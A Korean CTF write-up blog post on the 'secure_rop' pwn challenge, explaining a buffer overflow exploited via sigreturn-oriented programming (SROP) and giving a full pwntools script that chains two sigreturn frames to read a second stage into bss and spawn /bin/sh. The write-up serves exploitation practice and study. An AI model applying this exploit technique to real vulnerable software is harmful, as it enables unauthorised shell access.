glibc-2.27
#1. 문제 살펴보기
동적으로 라이브러리를 로드하지 않으며,
정적으로 함수들을 내부에 적어두지 않았다
Linux 내부의 syscall 을 이용하여 read와 write를 사용한다
다음으로 대놓고 보이는 BOF 취약점이다
아마 ROP를 이용하여 풀것같다
그리고 ROP 를 위한 gadget 을 찾아보자
pop_rdi 같은 가젯들이 없다 !
#2. 문제 분석하기
21.11.28 Dreamhack send_sig 문제를 풀다가 다시 왔다
일반적인 ROP와 달리 의도적으로 gadget을 남겨두지 않아
ROP를 하기에 충분한 gadget이 없을 경우 흐름조작이 힘들다
하지만 syscall gadget이 있다면 일반적인 ROPgadget보다
훨씬 더 편리하게 레지스터 값들을 조작할 수 있다
레지스터 값을 지정할 수 있도록 요청하는 함수는 64bit 기준
sys_rt_sigreturn
커널모드와 유저모드간 전환 시에 레지스터값을 넘겨주기 위한 용도의 함수이다.
하지만 유저모드의 레지스터값 검증없이 수정할 수 있다는 점에서 SROP기법의 핵심이 되겠다
https://www.lazenca.net/display/TEC/02.SROP%28Sigreturn-oriented+programming%29+-+x64
02.SROP(Sigreturn-oriented programming) - x64 - TechNote - Lazenca.0x0
Excuse the ads! We need some help to keep our site up. List SROP(Sigreturn-oriented programming) SROP는 sigreturn 시스템 콜을 이용하여 레지스터에 원하는 값을 저장할 수 있습니다.해당 기법을 이용하여 원하는 시스템
www.lazenca.net
#3. Exploit Code
from pwn import*
p = process('./secure_rop')
# gadget
RLR = 0x401021
LR = 0x401035
bss = 0x402000+0x400
pop_rax = 0x401032
syscall = 0x401033
frame = SigreturnFrame(arch="amd64")
# exploit
pay = ''
pay += 'a'*0x80
pay += 'b'*0x8
pay += p64(pop_rax)
pay += p64(15)
frame.rax = 0
frame.rsp = bss+0x8
frame.rbp = bss+0x60
frame.rdi = 0
frame.rsi = bss
frame.rdx = 0x400
frame.rip = syscall
pay += str(frame)
p.send(pay)
frame = SigreturnFrame(arch="amd64")
pay = ''
pay += '/bin/sh\x00'
pay += 'a'*0x60
pay += p64(pop_rax)
pay += p64(15)
frame.rax = 59
frame.rdi = bss
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
pay += str(frame)
p.sendline(pay)
p.interactive()
'CTF Review' 카테고리의 다른 글
[ Full ] 2020 Security Factorial Summer CTF (0) | 2020.08.06 |
---|---|
[ stack ] SFctf2020 LuckyLand (0) | 2020.07.26 |
[ heap ] Rooters CTF 2019 USER_ADMINISTRATION 미완 (0) | 2019.11.24 |
[ stack ] Rooters CTF 2019 baby_pwn (0) | 2019.11.13 |
[ heap ] Backdoorctf 2019 babytcache (0) | 2019.11.06 |